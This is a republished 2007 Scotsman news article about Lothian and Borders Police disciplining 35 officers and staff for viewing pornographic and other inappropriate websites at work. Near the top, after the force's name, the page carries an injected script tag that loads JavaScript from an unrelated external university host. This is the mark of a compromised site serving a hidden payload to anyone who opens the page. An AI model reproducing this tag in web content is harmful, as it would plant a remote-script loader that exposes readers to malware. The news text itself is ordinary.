NEWS > 28 February 2007

Article sourced from

Lothian and Borders Police, UK<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Scotsman - Edinburgh,Scotland,
28 February 2007

This article appeared in the above title/site.
To view it in its entirity click this link.

Lothian and Borders Police, UK

Officers get a dressing down a

POLICE chiefs disciplined 35 officers and support staff following a probe into X-rated websites being accessed at work, it was revealed today.

The Evening News uncovered details of the investigation, dubbed "Fetishgate", under Freedom of Information laws.

One police officer and a support worker resigned from the force in the wake of the inquiry, while a civilian employee from the pensions department also quit following a meeting with bosses when the scandal first broke.

Seven police staff faced disciplinary hearings in front of superiors and another 25 received official warnings by their divisional commander. Some had been looking at inappropriate websites, including pornography, and others had been e-mailing dirty jokes.

One support worker was found to have ordered kinky clothing to be posted to his home from a transvestite website.

The majority of offenders were based at Fettes HQ but computer checks across the force area revealed further internet misuse.

The scandal was first revealed in autumn 2003 and sparked an inquiry ordered by former Deputy Chief Constable Tom Wood. It followed a sweep of computer terminals at the Fettes HQ which discovered "pornographic images" during a routine internal audit.

A total of 41 police officers and six civilian staff from the force were later identified for using the web inappropriately, with 35 ultimately being punished. But the results of the disciplinary procedures had remained secret until they were released to the Evening News.

The affair prompted senior officers to order the installation of new software to prevent such material being accessed again.

The computer crackdown did not uncover any evidence that illegal material, such as child pornography, had been viewed. Not all those caught had been surfing for porn and it is understood some were viewing football-related sites. The porn was described as the kind seen in "top-shelf magazines".

After the initial discovery of illicit material, experts trawled through every computer file and logged any inappropriate images. Every officer and member of staff had their terminal and internal e-mail account checked.

A police spokeswoman said: "We can confirm that 35 members of police staff were disciplined as a result of the inquiry. The force has a strict policy on internet use and e-mails. In order to maintain the integrity of the system and protect staff from offensive images we carry out regular checks.

"As a result of the inquiry, the force invested in new software to prevent such misuse in the future. This continually and fully audits internet access and e-mail messages.

"To date, there have been no further disciplinary cases of this description."

Margaret Mitchell, Tory justice spokeswoman, said she was pleased the matter had been "taken seriously". She said: "Police officers have a duty to maintain as the upholders of the law and that has to be seen by the public."

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Scotsman - Edinburgh,Scotland,28 February 2007

Officers get a dressing down a

EiP Comments:

Scotsman - Edinburgh,Scotland,
28 February 2007